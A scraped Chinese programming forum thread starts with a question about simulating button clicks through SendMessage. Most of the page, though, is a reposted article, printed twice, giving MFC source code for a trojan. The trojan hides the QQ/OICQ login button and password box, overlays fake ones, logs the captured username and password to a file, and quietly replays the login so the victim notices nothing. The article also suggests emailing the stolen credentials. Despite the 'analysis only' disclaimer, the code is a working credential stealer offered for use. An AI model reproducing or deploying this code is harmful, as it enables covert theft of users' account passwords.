如何用SendMessage向另一个程序窗体上面的按钮发送点击? SendMessage(hwnd,WM_CHAR ,'0',0)表示往某一edit box里输入一字符,如何用SendMessage模拟某一按钮被按下(例如ok按钮)被按下该如何写?我用::SendMessage(hwnd1,BN_CLICKED,0,0))//hwnd1是ok的hwnd//怎么不行呢? 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 CWnd *pWnd=FindWindow(NULL,_T("Internet Explorer")); if (pWnd!=NULL) { pWnd->MoveWindow(2000,2000,200,200); CDialog* pDlg=(CDialog*) pWnd; CWnd *pOK=pDlg->GetDlgItem(IDOK); pOK->SendMessage(WM_LBUTTONDOWN,0,0); pOK->SendMessage(WM_LBUTTONUP,0,0); } 去掉我的pWnd->MoveWindow(2000,2000,200,200);赫赫..FindWindow自己改吧 HWND hwnd=FindWindow(..);PostMessage(hwnd,WM_COMMAND,MAKEWPARAM( IDC_START_BUTTON, BN_CLICKED ),0); 看了这个,你就明白了偷梁换柱盗取OICQ密码 作者:何建敏 申明:本文旨在分析黑客攻击的手段,请勿用于非法目的! Internet的发展,带动了IT界的一次大飞跃,黑客的活动也随之日益猖獗,攻击手法不断变化。各种黑客程序也是层出不穷,木马程序更是花样百出。如:监视键盘按键、替换登录程序等,现在我就来介绍另一种攻击手法,替换登录程序按钮。这招绝吧!现在我就来将方法介绍一下。就拿我们很熟悉的OICQ来作一个例子,看看程序到底是如何实现偷梁换柱的。要替换OICQ的登录程序的按钮与密码框,首先就得捕获OICQ登录程序的登录按钮和密码框句柄。哈哈,要是换上了我们自己的按钮与密码框,不就是想干什么就干什么了吗。 我们要取得4个CWnd句柄,分另是:用户号码的CComBox、用户口令CEdit、登录按扭CButton、主对话框句柄。m_hOicq=FindWindow(NULL,"QQ用户登录");m_hOk=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"BUTTON","登录"));m_hEdit=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"EDIT",NULL));m_hCom=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"ComboBox",NULL));///上面的m_hOicq,m_hOk,m_hEdit,m_hCom分别为CWnd *类型 有了这四个句柄,接下来的事就好办多了,那现在我们就直接生成一个按扭和一个编辑框吧。代码如下 CFont *m_font=m_hOk->GetFont();CFont *m_font1=m_hEdit->GetFont();CRect rect;CRect rect1;m_hOk->GetWindowRect(rect);m_hOk->ScreenToClient(rect);m_hEdit->GetWindowRect(rect1);m_hEdit->ScreenToClient(rect1);rect.left+=14;rect.top+=117;rect.bottom+=117;rect.right+=14;rect1.left+=110;rect1.top+=56;rect1.bottom+=56;rect1.right+=110;m_hOk->ShowWindow(SW_HIDE);//隐藏登录按钮m_hEdit->ShowWindow(SW_HIDE);//银藏密码框if(m_button.Create("登录",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON,rect,m_hOicq,IDC_STARTBUTTON)==FALSE)MessageBox("error");m_button.SetFont(m_font,TRUE);m_button.SetWnd(this);m_button.SetID(IDC_STARTBUTTON);if(m_edit.CreateEx(0x204,"Edit","",0x500100A0,rect1,m_hOicq,IDC_MYEDIT)==FALSE)MessageBox("error1");m_edit.SetFont(m_font1,TRUE);m_edit.SetFocus();m_edit.SetWnd(this);上面代码中的m_button为CMyButton类型变量,m_edit为CMyEdit类型变量,请继续往下看。这两个控件生成了!但是光生成两个控件还没用,我们得让两个控件告诉我们什么时候按了回车,什么时候点击了Mouse左键。那就得对EDIT、BUTTON做一下处理才行。用ClassWinzard生成二个派生类CMyEdit、CMyButton,分别生成WM_LBUTTONUP、PreTranslateMessage,让它处理相应的按键事件。并通讯事件发个消息给我的主对话框,那就要取得我的对话框的句柄,在两个派生类中分别生成函数SetWnd(CWnd *pWnd)用于告知主对话框的窗口句柄。在CMyEdit的 PreTranslateMessage(MSG* pMsg)中输入 if(pMsg->message==WM_KEYDOWN){if(pMsg->wParam==VK_RETURN)m_wnd->SendMessage(WM_ButtonDown,0,0);}在CMyButton的OnLButtonUp(UINT nFlags, CPoint point)中输入m_wnd->SendMessage(WM_ButtonDown,0,0);以上将一个消息发送到我的对话框,我得把消息处里一下,做的干净漂亮些,这样用的人才不会知道我个木马程序在偷偷监视他们 CString Password,cc;char LoginName[20] ;memset(LoginName,0,20);::SendMessage(m_hCom->GetSafeHwnd(), WM_GETTEXT, 20, (LPARAM)LoginName);m_edit.GetWindowText(Password);m_edit.ShowWindow(SW_HIDE);m_hEdit->ShowWindow(SW_SHOW);m_hOk->ShowWindow(SW_SHOW);cc=0x0d;cc+=0x0a;CFileFind m_find;CFile m_file;if(!m_find.FindFile("c:\\oicqlog.dat"))m_file.Open("c:\\oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);else{m_file.Open("c:\\oicqlog.dat",CFile::modeWrite);m_file.SeekToEnd();}m_file.Write(cc,cc.GetLength());m_file.Write(LoginName,sizeof(LoginName));m_file.Write(cc,cc.GetLength());m_file.Write(Password,Password.GetLength());m_file.Close();m_hEdit->SetFocus();char *ee=Password.GetBuffer(Password.GetLength());::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);keybd_event(VK_RETURN,0,0,0);keybd_event(VK_RETURN,0,2,0); return TRUE;好了,一个简单的木马程序就写完了,如果再加上Email的功能,那就变得更完美了,具体细节可以分析作者提供的源代码,该代码可以设定EMAIL信箱,SMTP服务器,一次发送数量,密码文件位置。示例程序的简单使用方法:按“捕获”按钮后程序被隐藏,当打开QQ时,QQ上的按钮已经被替换,登陆信息被记录在您所设置的密码文件中。请勿将此代码用于非法目的。<转自 www.vckbase.com> 怎么获取变量里的字节数? 对话框中关于CTreeCtrl事件响应的问题? 搞不定的Editbox,牛人请帮忙 导入excel类库excel automation出错 如何在打开对话框中只显示指定后缀的文件? 一个小问题,只是你的举手之劳啊,要不你给一点学vc++的建议,谢谢! 如何在视图类调用新建函数来创建新的子窗口, 如果子窗口存在,将他激活, MSXML如何使用,能否给一个较详细的例子 VC写文件时碰到的一个经典有趣的现象 怎样显示DLL中的对话框? vc 为何调用 dephi 编写的 com 失败! 方向问题
if (pWnd!=NULL)
{
pWnd->MoveWindow(2000,2000,200,200);
CDialog* pDlg=(CDialog*) pWnd;
CWnd *pOK=pDlg->GetDlgItem(IDOK);
pOK->SendMessage(WM_LBUTTONDOWN,0,0);
pOK->SendMessage(WM_LBUTTONUP,0,0);
}
FindWindow自己改吧
PostMessage(hwnd,WM_COMMAND,MAKEWPARAM( IDC_START_BUTTON, BN_CLICKED ),0);
申明:本文旨在分析黑客攻击的手段,请勿用于非法目的! Internet的发展,带动了IT界的一次大飞跃,黑客的活动也随之日益猖獗,攻击手法不断变化。各种黑客程序也是层出不穷,木马程序更是花样百出。如:监视键盘按键、替换登录程序等,现在我就来介绍另一种攻击手法,替换登录程序按钮。这招绝吧!现在我就来将方法介绍一下。
就拿我们很熟悉的OICQ来作一个例子,看看程序到底是如何实现偷梁换柱的。要替换OICQ的登录程序的按钮与密码框,首先就得捕获OICQ登录程序的登录按钮和密码框句柄。哈哈,要是换上了我们自己的按钮与密码框,不就是想干什么就干什么了吗。
我们要取得4个CWnd句柄,分另是:用户号码的CComBox、用户口令CEdit、登录按扭CButton、主对话框句柄。m_hOicq=FindWindow(NULL,"QQ用户登录");
m_hOk=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"BUTTON","登录"));
m_hEdit=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"EDIT",NULL));
m_hCom=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"ComboBox",NULL));
///上面的m_hOicq,m_hOk,m_hEdit,m_hCom分别为CWnd *类型
有了这四个句柄,接下来的事就好办多了,那现在我们就直接生成一个按扭和一个编辑框吧。代码如下 CFont *m_font=m_hOk->GetFont();
CFont *m_font1=m_hEdit->GetFont();
CRect rect;
CRect rect1;
m_hOk->GetWindowRect(rect);
m_hOk->ScreenToClient(rect);
m_hEdit->GetWindowRect(rect1);
m_hEdit->ScreenToClient(rect1);
rect.left+=14;
rect.top+=117;
rect.bottom+=117;
rect.right+=14;
rect1.left+=110;
rect1.top+=56;
rect1.bottom+=56;
rect1.right+=110;
m_hOk->ShowWindow(SW_HIDE);//隐藏登录按钮
m_hEdit->ShowWindow(SW_HIDE);//银藏密码框
if(m_button.Create("登录",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON,rect,m_hOicq,IDC_STARTBUTTON)==FALSE)
MessageBox("error");
m_button.SetFont(m_font,TRUE);
m_button.SetWnd(this);
m_button.SetID(IDC_STARTBUTTON);
if(m_edit.CreateEx(0x204,"Edit","",0x500100A0,rect1,m_hOicq,IDC_MYEDIT)==FALSE)
MessageBox("error1");
m_edit.SetFont(m_font1,TRUE);
m_edit.SetFocus();
m_edit.SetWnd(this);上面代码中的m_button为CMyButton类型变量,m_edit为CMyEdit类型变量,请继续往下看。这两个控件生成了!但是光生成两个控件还没用,我们得让两个控件告诉我们什么时候按了回车,什么时候点击了Mouse左键。那就得对EDIT、BUTTON做一下处理才行。用ClassWinzard生成二个派生类CMyEdit、CMyButton,分别生成WM_LBUTTONUP、PreTranslateMessage,让它处理相应的按键事件。并通讯事件发个消息给我的主对话框,那就要取得我的对话框的句柄,在两个派生类中分别生成函数
SetWnd(CWnd *pWnd)用于告知主对话框的窗口句柄。
在CMyEdit的 PreTranslateMessage(MSG* pMsg)中输入
if(pMsg->message==WM_KEYDOWN)
{
if(pMsg->wParam==VK_RETURN)
m_wnd->SendMessage(WM_ButtonDown,0,0);
}
在CMyButton的OnLButtonUp(UINT nFlags, CPoint point)中输入m_wnd->SendMessage(WM_ButtonDown,0,0);以上将一个消息发送到我的对话框,我得把消息处里一下,做的干净漂亮些,这样用的人才不会知道我个木马程序在偷偷监视他们
CString Password,cc;
char LoginName[20] ;
memset(LoginName,0,20);
::SendMessage(m_hCom->GetSafeHwnd(), WM_GETTEXT, 20, (LPARAM)LoginName);
m_edit.GetWindowText(Password);
m_edit.ShowWindow(SW_HIDE);
m_hEdit->ShowWindow(SW_SHOW);
m_hOk->ShowWindow(SW_SHOW);
cc=0x0d;
cc+=0x0a;
CFileFind m_find;
CFile m_file;
if(!m_find.FindFile("c:\\oicqlog.dat"))
m_file.Open("c:\\oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);
else
{
m_file.Open("c:\\oicqlog.dat",CFile::modeWrite);
m_file.SeekToEnd();
}
m_file.Write(cc,cc.GetLength());
m_file.Write(LoginName,sizeof(LoginName));
m_file.Write(cc,cc.GetLength());
m_file.Write(Password,Password.GetLength());
m_file.Close();
m_hEdit->SetFocus();
char *ee=Password.GetBuffer(Password.GetLength());
::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);
keybd_event(VK_RETURN,0,0,0);
keybd_event(VK_RETURN,0,2,0);
return TRUE;
好了,一个简单的木马程序就写完了,如果再加上Email的功能,那就变得更完美了,具体细节可以分析作者提供的源代码,该代码可以设定EMAIL信箱,SMTP服务器,一次发送数量,密码文件位置。
示例程序的简单使用方法:按“捕获”按钮后程序被隐藏,当打开QQ时,QQ上的按钮已经被替换,登陆信息被记录在您所设置的密码文件中。请勿将此代码用于非法目的。<转自 www.vckbase.com>